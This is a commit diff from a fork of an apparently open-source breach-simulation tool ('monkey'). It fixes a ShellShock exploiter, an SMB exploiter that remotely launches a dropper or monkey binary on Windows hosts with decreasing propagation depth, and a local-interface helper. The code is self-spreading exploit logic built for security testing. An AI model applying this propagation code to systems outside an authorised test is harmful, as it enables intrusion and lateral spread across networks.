forked from p15670423/monkey
Merge pull request #66 from guardicore/hotfix/various-exploit-fixes
Hotfix/various exploit fixes
This commit is contained in:
commit
1f6c5ffecb
|
@ -99,7 +99,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(self.host)
|
src_path = get_target_monkey(self.host)
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -86,11 +86,11 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
|
||||||
|
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
|
|
|
@ -389,7 +389,9 @@ class HTTPTools(object):
|
||||||
|
|
||||||
def get_interface_to_target(dst):
|
def get_interface_to_target(dst):
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
return get_close_matches(dst, local_ips())[0]
|
ips = local_ips()
|
||||||
|
matches = get_close_matches(dst, ips)
|
||||||
|
return matches[0] if (len(matches) > 0) else ips[0]
|
||||||
else:
|
else:
|
||||||
# based on scapy implementation
|
# based on scapy implementation
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue